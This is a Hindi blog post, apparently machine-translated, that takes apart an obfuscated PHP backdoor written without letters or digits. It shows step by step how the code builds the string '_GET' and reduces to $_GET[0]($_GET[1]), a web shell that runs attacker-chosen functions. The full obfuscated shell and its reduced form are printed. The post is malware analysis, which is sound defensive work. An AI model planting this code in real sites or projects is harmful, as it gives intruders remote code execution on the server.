एक एकल अल्फ़ान्यूमेरिक वर्ण के बिना एक पिछले दरवाजे को निष्क्रिय करना

एक महीने पहले, मैंने एक एकल अल्फ़ान्यूमेरिक चरित्र के बिना PHP शेल के बारे में एक दिलचस्प पोस्ट देखा और वास्तव में यह समझना चाहता था कि यह क्या कर रहा था। कौन परवाह करता है - कटौती के तहत!

यहां दुर्भावनापूर्ण कोड है

@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] ); 

तो, तर्ज पर:
@ $ _ [] = @! + _; - $ _ सरणी (एरर आउटपुट को हटाते हुए) को इनिशियलाइज़ करें, जबकि हम एरे में एक एलीमेंट जोड़ते हैं, ऐरे खाली होने के बाद एलीमेंट में 0 इंडेक्स होगा। _ PHP इसे एक स्थिरांक मानता है, स्वाभाविक रूप से इसे नहीं पाता है, इसलिए यह _ प्रतीक को स्ट्रिंग (1) "_" मानता है। + ऑपरेटर इस स्ट्रिंग को एक संख्यात्मक प्रकार (0) में डाल देता है, फिर नेगेटिव आता है, जो संख्या को बूलियन प्रकार में परिवर्तित करता है, और नकार हमें सरणी में एकमात्र तत्व देता है:
array(1) {
[0]=>
bool(true)
}
बिट शिफ्ट @ $ {_} >> $ _ हमें (int) 0 देता है।
यह सच्चाई के करीब नहीं आता है:

 @$arrArray[]=@!+_; $var2=0; $arrArray[]=$var2; $arrArray[]=@_; $arrArray[((++$var2)+($var2++ ))].=$arrArray; $arrArray[]=++$var2; $arrArray[]=$arrArray[--$var2][$var2>>$var2]; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] ); 

कम से कम हम स्रोत में लाइनों की संख्या को कम कर सकते हैं:

 $var2=0; $arrArray = array(true, 0, "_"); $arrArray[((++$var2)+($var2++ ))].=$arrArray; $arrArray[]=++$var2; $arrArray[]=$arrArray[--$var2][$var2>>$var2]; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] ); 

((++ $ var2) + ($ var2 ++) - यह वही है जो वे खराब साक्षात्कार में प्यार करते हैं। परिणाम 2 है , इसलिए $ बकाया राशि फॉर्म में होगी:
$ एरेअरे = सरणी (सच, 0, "_अरे");
एक स्ट्रिंग और एक सरणी को समेटते समय , यह "_Array" निकला - ये PHP में टाइप रूपांतरण की विशेषताएं हैं।
हमारे सरणी में एक और तत्व जोड़ें:

 $arrArray = array(true, 0, "_Array", 3); $var2=3; $arrArray[]=$arrArray[--$var2][$var2>>$var2]; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] ); 

$ arrArray [- $ var2] [$ var2 >> $ var2] - आपको सरणी के दूसरे तत्व से पहला वर्ण लेने की आवश्यकता है। हमें मिलता है:

 $arrArray = array(true, 0, "_Array", 3, "_"); $var2=2; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] ); 

फिर, आपको मैनुअल में चढ़ना होगा:
4 + सच = 5
6 + सच = 7
5.7 = "57"

हमें मिलता है:

 $arrArray = array(true, 0, "_Array57", 3, "_"); $var2=2; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] ); 

हम शायद अंत के करीब हैं। अगली पंक्ति को समझें।
$ arrArray [4] = ($ arrArray [2] [0])। ($ arrArray [2] [2] ^ $ arrArray [2] [6]);
यह भी ऐसा ही है
$ बकाया [4] = "_"। ("आर" ^ "5");

हम एक और लाइन से छुटकारा पाते हैं:

 $arrArray = array(true, 0, "_Array57", 3, "_G"); $var2=2; $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] ); 

इसी तरह कोड की निम्नलिखित पंक्ति के लिए:
$ arrArray [4]। = ($ arrArray [2] [7]) ^ ($ arrArray [2] [2]);
हमें मिलता है:
$ बकाया [4]। = "7" ^ "आर";

संक्षेप में:

 $arrArray = array(true, 0, "_Array57", 3, "_GE"); $var2=2; $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] ); 

ठीक है, जैसा कि कई लोग पहले ही अनुमान लगा चुके हैं, कोड की एक और पंक्ति deobfuscating के बाद हमारा इंतजार करना सभी को प्रिय है _GET :

 $arrArray = array(true, 0, "_Array57", 3, "_GET"); $var2=2; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] ); 

ईमानदारी से कहूं तो, इस समय मैं स्तूप में गिर गया। $ ArrArray = $ लाइन में , मैंने एक गैर-ब्रेकिंग स्पेस और एक अन्य यूनिकोड की तलाश की, जो एक चर का नाम हो सकता है। लेकिन, निश्चित रूप से, जितना मैंने सोचा था कि सब कुछ सरल है: दुभाषिया व्हॉट्सएप की उपेक्षा करता है और हमें पूरी तरह से समझ में आता है:

 $arrArray = array(true, 0, "_Array57", 3, "_GET"); $var2=2; $arrArray=$$arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] ); 

यदि आप थोड़ा चबाते हैं, तो:

 $arrArray = array(true, 0, "_Array57", 3, "_GET"); $var2=2; $arrArray=$_GET ; $arrArray[@-_]($arrArray[@!+_] ); 

दरअसल पूरा बैकडोर एक लाइन में आ गया था:

 $_GET[0]($_GET[1] ); 

अब हम जानते हैं कि यह लिपि वास्तव में क्या और कैसे करती है, और हम उपयोगकर्ता के लिए अस्पष्ट स्पष्टीकरण के बिना भी कर सकते हैं, जिसमें "बुलियन मैजिक" शब्द भी शामिल है।